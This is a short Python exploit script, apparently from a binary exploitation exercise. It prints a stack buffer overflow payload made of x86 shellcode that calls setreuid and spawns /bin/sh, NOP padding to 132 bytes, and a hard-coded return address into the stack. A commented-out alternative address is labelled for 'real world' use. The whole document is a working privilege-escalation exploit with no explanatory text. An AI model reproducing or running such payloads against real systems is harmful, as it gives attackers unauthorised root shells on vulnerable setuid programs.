#!/bin/python3 import sys shellcode=b"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" # -112 for real world # address=b"\x18\xd4\xff\xff" address=b"\xa8\xd3\xff\xff" sys.stdout.buffer.write(shellcode) sys.stdout.buffer.write((132-len(shellcode)) * b"\x90" + address)